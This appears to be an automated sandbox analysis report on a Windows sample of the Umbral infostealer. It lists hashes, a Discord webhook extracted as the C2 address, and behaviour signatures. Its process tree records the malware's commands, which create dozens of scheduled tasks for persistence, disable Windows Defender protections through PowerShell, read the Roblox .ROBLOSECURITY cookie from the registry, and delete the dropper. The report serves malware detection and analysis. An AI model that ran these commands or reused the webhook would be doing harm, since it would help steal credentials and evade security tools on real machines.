Analysis

  • max time kernel
    149s
  • max time network
    159s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30-05-2024 02:11

General

  • Target

    4efce9b6099fa6bfc272b5e192fe16cc.exe

  • Size

    8.3MB

  • MD5

    4efce9b6099fa6bfc272b5e192fe16cc

  • SHA1

    d5495d7d0593a0258bb50325eb0381cec5decd19

  • SHA256

    185d297d3a204b586f262ce576bc40127b6ea49561b07c7e40c0a2e779df03e1

  • SHA512

    0b81846c316c3790b1d3fd88953d7c9350443d8dd34cbf4311677e5706b59f4e8b0819186f7cb81b980bab88b9aa6802170536d50a989f081b0aacb68f58ca5f

  • SSDEEP

    196608:UB4vMWmmF95vrRoypY2xNS+U1kYLLBGJt4qi5Wh4d3J4jtQG0gIe:UevBn5viETxNS+5OBU4hat0gI

Malware Config

Extracted

Family

umbral

C2

https://discord.com/api/webhooks/1244715424420069449/GTIFnC19DnPwT_RfLQ395m4ILCbNzqdjl2fE6jLwJomWdfGuqMipwhUem4c7oUOG5y7l

Signatures

  • Detect Umbral payload 2 IoCs
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Modifies AppInit DLL entries 2 TTPs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 42 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 41 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 48 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4efce9b6099fa6bfc272b5e192fe16cc.exe
    "C:\Users\Admin\AppData\Local\Temp\4efce9b6099fa6bfc272b5e192fe16cc.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2040
    • C:\Users\Admin\AppData\Local\Temp\Nezur.exe
      "C:\Users\Admin\AppData\Local\Temp\Nezur.exe"
      2⤵
      • Executes dropped EXE
      PID:2484
    • C:\Users\Admin\AppData\Local\Temp\Client.exe
      "C:\Users\Admin\AppData\Local\Temp\Client.exe"
      2⤵
      • Modifies WinLogon for persistence
      • Executes dropped EXE
      • Adds Run key to start application
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2928
      • C:\Windows\SYSTEM32\CMD.exe
        "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "Ableton Live" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1784
        • C:\Windows\system32\schtasks.exe
          SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "Ableton Live" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe"
          4⤵
          • Creates scheduled task(s)
          PID:1768
      • C:\Windows\SYSTEM32\CMD.exe
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3636
        • C:\Windows\system32\schtasks.exe
          SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
          4⤵
          • Creates scheduled task(s)
          PID:3488
      • C:\Windows\SYSTEM32\CMD.exe
        "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "Adobe Premiere Pro" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\Chrome.exe" /RL HIGHEST & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2244
        • C:\Windows\system32\schtasks.exe
          SchTaSKs /create /f /sc minute /mo 5 /tn "Adobe Premiere Pro" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\Chrome.exe" /RL HIGHEST
          4⤵
          • Creates scheduled task(s)
          PID:1556
      • C:\Windows\SYSTEM32\CMD.exe
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3200
        • C:\Windows\system32\schtasks.exe
          SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
          4⤵
          • Creates scheduled task(s)
          PID:2364
      • C:\Windows\SYSTEM32\CMD.exe
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2888
        • C:\Windows\system32\schtasks.exe
          SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
          4⤵
          • Creates scheduled task(s)
          PID:1556
      • C:\Windows\SYSTEM32\CMD.exe
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4496
        • C:\Windows\system32\schtasks.exe
          SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
          4⤵
          • Creates scheduled task(s)
          PID:3516
      • C:\Windows\SYSTEM32\CMD.exe
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1896
        • C:\Windows\system32\schtasks.exe
          SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
          4⤵
          • Creates scheduled task(s)
          PID:4936
      • C:\Windows\SYSTEM32\CMD.exe
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3864
        • C:\Windows\system32\schtasks.exe
          SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
          4⤵
          • Creates scheduled task(s)
          PID:1556
      • C:\Windows\SYSTEM32\CMD.exe
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
        3⤵
          PID:4444
          • C:\Windows\system32\schtasks.exe
            SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
            4⤵
            • Creates scheduled task(s)
            PID:4580
        • C:\Windows\SYSTEM32\CMD.exe
          "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
          3⤵
            PID:876
            • C:\Windows\system32\schtasks.exe
              SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
              4⤵
              • Creates scheduled task(s)
              PID:3636
          • C:\Windows\SYSTEM32\CMD.exe
            "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
            3⤵
              PID:4076
              • C:\Windows\system32\schtasks.exe
                SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
                4⤵
                • Creates scheduled task(s)
                PID:3748
            • C:\Windows\SYSTEM32\CMD.exe
              "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
              3⤵
                PID:4164
                • C:\Windows\system32\schtasks.exe
                  SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
                  4⤵
                  • Creates scheduled task(s)
                  PID:816
              • C:\Windows\SYSTEM32\CMD.exe
                "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
                3⤵
                  PID:3048
                  • C:\Windows\system32\schtasks.exe
                    SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
                    4⤵
                    • Creates scheduled task(s)
                    PID:2960
                • C:\Windows\SYSTEM32\CMD.exe
                  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
                  3⤵
                    PID:4324
                    • C:\Windows\system32\schtasks.exe
                      SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
                      4⤵
                      • Creates scheduled task(s)
                      PID:3864
                  • C:\Windows\SYSTEM32\CMD.exe
                    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
                    3⤵
                      PID:4860
                      • C:\Windows\system32\schtasks.exe
                        SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
                        4⤵
                        • Creates scheduled task(s)
                        PID:4792
                    • C:\Windows\SYSTEM32\CMD.exe
                      "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
                      3⤵
                        PID:3540
                        • C:\Windows\system32\schtasks.exe
                          SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
                          4⤵
                          • Creates scheduled task(s)
                          PID:2756
                      • C:\Windows\SYSTEM32\CMD.exe
                        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
                        3⤵
                          PID:4196
                          • C:\Windows\system32\schtasks.exe
                            SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
                            4⤵
                            • Creates scheduled task(s)
                            PID:3384
                        • C:\Windows\SYSTEM32\CMD.exe
                          "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
                          3⤵
                            PID:4900
                            • C:\Windows\system32\schtasks.exe
                              SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
                              4⤵
                              • Creates scheduled task(s)
                              PID:372
                          • C:\Windows\SYSTEM32\CMD.exe
                            "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
                            3⤵
                              PID:2960
                              • C:\Windows\system32\schtasks.exe
                                SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
                                4⤵
                                • Creates scheduled task(s)
                                PID:4540
                            • C:\Windows\SYSTEM32\CMD.exe
                              "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
                              3⤵
                                PID:4640
                                • C:\Windows\system32\schtasks.exe
                                  SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
                                  4⤵
                                  • Creates scheduled task(s)
                                  PID:2672
                              • C:\Windows\SYSTEM32\CMD.exe
                                "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
                                3⤵
                                  PID:400
                                  • C:\Windows\system32\schtasks.exe
                                    SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
                                    4⤵
                                    • Creates scheduled task(s)
                                    PID:3256
                                • C:\Windows\SYSTEM32\CMD.exe
                                  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
                                  3⤵
                                    PID:3116
                                    • C:\Windows\system32\schtasks.exe
                                      SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
                                      4⤵
                                      • Creates scheduled task(s)
                                      PID:3260
                                  • C:\Windows\SYSTEM32\CMD.exe
                                    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
                                    3⤵
                                      PID:2176
                                      • C:\Windows\system32\schtasks.exe
                                        SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
                                        4⤵
                                        • Creates scheduled task(s)
                                        PID:672
                                    • C:\Windows\SYSTEM32\CMD.exe
                                      "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
                                      3⤵
                                        PID:1816
                                        • C:\Windows\system32\schtasks.exe
                                          SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
                                          4⤵
                                          • Creates scheduled task(s)
                                          PID:3152
                                      • C:\Windows\SYSTEM32\CMD.exe
                                        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
                                        3⤵
                                          PID:5052
                                          • C:\Windows\system32\schtasks.exe
                                            SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
                                            4⤵
                                            • Creates scheduled task(s)
                                            PID:3204
                                        • C:\Windows\SYSTEM32\CMD.exe
                                          "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
                                          3⤵
                                            PID:3320
                                            • C:\Windows\system32\schtasks.exe
                                              SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
                                              4⤵
                                              • Creates scheduled task(s)
                                              PID:3028
                                          • C:\Windows\SYSTEM32\CMD.exe
                                            "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
                                            3⤵
                                              PID:1600
                                              • C:\Windows\system32\schtasks.exe
                                                SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
                                                4⤵
                                                • Creates scheduled task(s)
                                                PID:4196
                                            • C:\Windows\SYSTEM32\CMD.exe
                                              "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
                                              3⤵
                                                PID:4344
                                                • C:\Windows\system32\schtasks.exe
                                                  SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
                                                  4⤵
                                                  • Creates scheduled task(s)
                                                  PID:4076
                                              • C:\Windows\SYSTEM32\CMD.exe
                                                "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
                                                3⤵
                                                  PID:4072
                                                  • C:\Windows\system32\schtasks.exe
                                                    SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
                                                    4⤵
                                                    • Creates scheduled task(s)
                                                    PID:3164
                                                • C:\Windows\SYSTEM32\CMD.exe
                                                  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
                                                  3⤵
                                                    PID:4208
                                                    • C:\Windows\system32\schtasks.exe
                                                      SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
                                                      4⤵
                                                      • Creates scheduled task(s)
                                                      PID:2760
                                                  • C:\Windows\SYSTEM32\CMD.exe
                                                    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
                                                    3⤵
                                                      PID:2756
                                                      • C:\Windows\system32\schtasks.exe
                                                        SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
                                                        4⤵
                                                        • Creates scheduled task(s)
                                                        PID:4560
                                                    • C:\Windows\SYSTEM32\CMD.exe
                                                      "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
                                                      3⤵
                                                        PID:4196
                                                        • C:\Windows\system32\schtasks.exe
                                                          SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
                                                          4⤵
                                                          • Creates scheduled task(s)
                                                          PID:1004
                                                      • C:\Windows\SYSTEM32\CMD.exe
                                                        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
                                                        3⤵
                                                          PID:3308
                                                          • C:\Windows\system32\schtasks.exe
                                                            SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
                                                            4⤵
                                                            • Creates scheduled task(s)
                                                            PID:4040
                                                        • C:\Windows\SYSTEM32\CMD.exe
                                                          "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
                                                          3⤵
                                                            PID:528
                                                            • C:\Windows\system32\schtasks.exe
                                                              SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
                                                              4⤵
                                                              • Creates scheduled task(s)
                                                              PID:4216
                                                          • C:\Windows\SYSTEM32\CMD.exe
                                                            "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
                                                            3⤵
                                                              PID:3028
                                                              • C:\Windows\system32\schtasks.exe
                                                                SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
                                                                4⤵
                                                                • Creates scheduled task(s)
                                                                PID:2296
                                                            • C:\Windows\SYSTEM32\CMD.exe
                                                              "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
                                                              3⤵
                                                                PID:4028
                                                                • C:\Windows\system32\schtasks.exe
                                                                  SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
                                                                  4⤵
                                                                  • Creates scheduled task(s)
                                                                  PID:1392
                                                              • C:\Windows\SYSTEM32\CMD.exe
                                                                "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
                                                                3⤵
                                                                  PID:2200
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
                                                                    4⤵
                                                                    • Creates scheduled task(s)
                                                                    PID:4040
                                                                • C:\Windows\SYSTEM32\CMD.exe
                                                                  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
                                                                  3⤵
                                                                    PID:324
                                                                    • C:\Windows\system32\schtasks.exe
                                                                      SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
                                                                      4⤵
                                                                      • Creates scheduled task(s)
                                                                      PID:5072
                                                                  • C:\Windows\SYSTEM32\CMD.exe
                                                                    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
                                                                    3⤵
                                                                      PID:4416
                                                                      • C:\Windows\system32\schtasks.exe
                                                                        SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
                                                                        4⤵
                                                                        • Creates scheduled task(s)
                                                                        PID:2660
                                                                    • C:\Windows\SYSTEM32\CMD.exe
                                                                      "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
                                                                      3⤵
                                                                        PID:1832
                                                                        • C:\Windows\system32\schtasks.exe
                                                                          SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
                                                                          4⤵
                                                                          • Creates scheduled task(s)
                                                                          PID:3100
                                                                      • C:\Windows\SYSTEM32\CMD.exe
                                                                        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST & exit
                                                                        3⤵
                                                                          PID:4608
                                                                          • C:\Windows\system32\schtasks.exe
                                                                            SchTaSKs /create /f /sc minute /mo -1 /tn "XAMPP" /tr "C:\Users\Admin\Videos\MicrosoftSecurity.exe" /RL HIGHEST
                                                                            4⤵
                                                                            • Creates scheduled task(s)
                                                                            PID:2916
                                                                      • C:\Users\Admin\AppData\Local\Temp\Umbral.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
                                                                        2⤵
                                                                        • Drops file in Drivers directory
                                                                        • Executes dropped EXE
                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        • Suspicious use of WriteProcessMemory
                                                                        PID:4052
                                                                        • C:\Windows\System32\Wbem\wmic.exe
                                                                          "wmic.exe" csproduct get uuid
                                                                          3⤵
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:4552
                                                                        • C:\Windows\SYSTEM32\attrib.exe
                                                                          "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
                                                                          3⤵
                                                                          • Views/modifies file attributes
                                                                          PID:452
                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                          "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
                                                                          3⤵
                                                                          • Command and Scripting Interpreter: PowerShell
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:3584
                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                          "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
                                                                          3⤵
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:4364
                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                          "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                          3⤵
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:1528
                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                          "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                          3⤵
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:4240
                                                                        • C:\Windows\System32\Wbem\wmic.exe
                                                                          "wmic.exe" os get Caption
                                                                          3⤵
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:3912
                                                                        • C:\Windows\System32\Wbem\wmic.exe
                                                                          "wmic.exe" computersystem get totalphysicalmemory
                                                                          3⤵
                                                                            PID:1968
                                                                          • C:\Windows\System32\Wbem\wmic.exe
                                                                            "wmic.exe" csproduct get uuid
                                                                            3⤵
                                                                              PID:3624
                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                                              3⤵
                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                              PID:3636
                                                                            • C:\Windows\System32\Wbem\wmic.exe
                                                                              "wmic" path win32_VideoController get name
                                                                              3⤵
                                                                              • Detects videocard installed
                                                                              PID:4020
                                                                            • C:\Windows\SYSTEM32\cmd.exe
                                                                              "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
                                                                              3⤵
                                                                              • Suspicious use of WriteProcessMemory
                                                                              PID:3812
                                                                              • C:\Windows\system32\PING.EXE
                                                                                ping localhost
                                                                                4⤵
                                                                                • Runs ping.exe
                                                                                PID:4364
                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4168,i,13281073920029625837,8253721632651544158,262144 --variations-seed-version --mojo-platform-channel-handle=4464 /prefetch:8
                                                                          1⤵
                                                                            PID:1940
                                                                          • C:\Windows\system32\wbem\WmiApSrv.exe
                                                                            C:\Windows\system32\wbem\WmiApSrv.exe
                                                                            1⤵
                                                                            • Loads dropped DLL
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            PID:972

                                                                          Network

                                                                          MITRE ATT&CK Enterprise v15

                                                                          Replay Monitor

                                                                          Loading Replay Monitor...

                                                                          Downloads

